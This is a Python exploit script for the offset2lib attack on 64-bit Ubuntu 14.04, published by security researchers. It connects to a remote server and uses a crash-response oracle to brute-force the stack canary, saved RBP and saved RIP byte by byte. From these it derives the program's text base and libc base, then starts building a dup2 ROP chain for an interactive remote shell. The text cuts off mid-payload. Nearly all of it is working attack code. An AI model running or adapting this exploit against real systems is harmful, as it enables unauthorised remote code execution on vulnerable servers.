#!/usr/bin/python ''' * $FILE: exploit-offset2lib-ubuntu-14.04.1-LTS.py * * $VERSION$ * * Authors: Hector Marco * Ismael Ripoll * * Date: Released 20 November 2014 (DeepSec 2014) * * Attack details: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html * * $LICENSE: * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ''' import struct import os,sys import socket import random import string import telnetlib import time import base64 import getopt from struct import pack server = '' port = '' #################################### Start params ############################## # Exploit configuration parameters.. Must be adjusted to the target system and app. OFFSET_SAVED_RIP = 0 PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL = 0 OFFSET_TO_LIBC = 0 #################################### End params ################################ def get_connection(): s=socket.socket() s.connect((server,port)) return s def interact_shell(s): sys.stdout.flush() s.send(""); time.sleep(0.2) sys.stdout.write(s.recv(4096)) while True: try: sys.stdout.flush() c = sys.stdin.readline() s.send(c) time.sleep(0.5) sys.stdout.write(s.recv(4096)) except KeyboardInterrupt, e: print " quit" s.close() break def send2server(payload): # print "[Payload]\n[0x%s]\n" % payload.encode("hex") s = get_connection() s.send("Hi server") res = s.recv(1024) s.send(payload) return s.recv(1024) #################### MAIN #################### def usage(): print 'exploit-server_64_PIE.py -s -p ' sys.exit(2) def main(argv): global server global port try: opts, args = getopt.getopt(argv,"hs:p:",["s=","p="]) if len(sys.argv) == 1: usage() except getopt.GetoptError: usage() for opt, arg in opts: if opt == '-h': usage() elif opt in ("-s", "--server"): server = arg elif opt in ("-p", "--port"): port = int(arg) if __name__ == "__main__": main(sys.argv[1:]) print "[+] Exploit ASLR 64 bit systems " print "[+] Trying to find out the canary offset " p = "\xff\xff\xff\xff\xff\xff\xff\xff" while True: res = send2server(p) if res == "": break p += "\xff\xff\xff\xff\xff\xff\xff\xff" # Remove last char p = p[:-8] print " [+] Offset is %d bytes" % len(p) print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary #set a valid RBP .... print "[+] Brute forcing RBP " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) ebp = p[stop:start-1:-1].encode("hex") print " [+] EBP value is 0x%s" % ebp print "[+] Brute forcing Saved RIP " # We know the first and half byte so ... # Add the first byte to the payload p += chr((OFFSET_SAVED_RIP & 0xff)) # We aslo know the first half of the second byte half_second_byte_eip = (OFFSET_SAVED_RIP >> 8) for i in range(0,16): res = send2server( p + chr(half_second_byte_eip) ) if res != "": p += chr(half_second_byte_eip) break half_second_byte_eip += 0x10 start = len(p) stop = len(p)+6 # We only need find out 7 bytes while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) break if i == 255: print "[-] Exploit failed" sys.exit(-1) eip = p[stop:start-3:-1].encode("hex") print " [+] RIP value is 0x%s" % eip text_base = (int(eip, 16) &~ 0xfff) - (PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL << 12) print "[+] Text Base at 0x%016x" % text_base libc_base = (int(text_base) - OFFSET_TO_LIBC) print "[+] Libc Base at 0x%016x" % libc_base # Remove last 8 bytes (Saved RIP) p = p[:-8] off = libc_base # dup2 to the three standard I/O FD (STDIN, STDOUT, STDERR) # dup2(4,0) p += pack('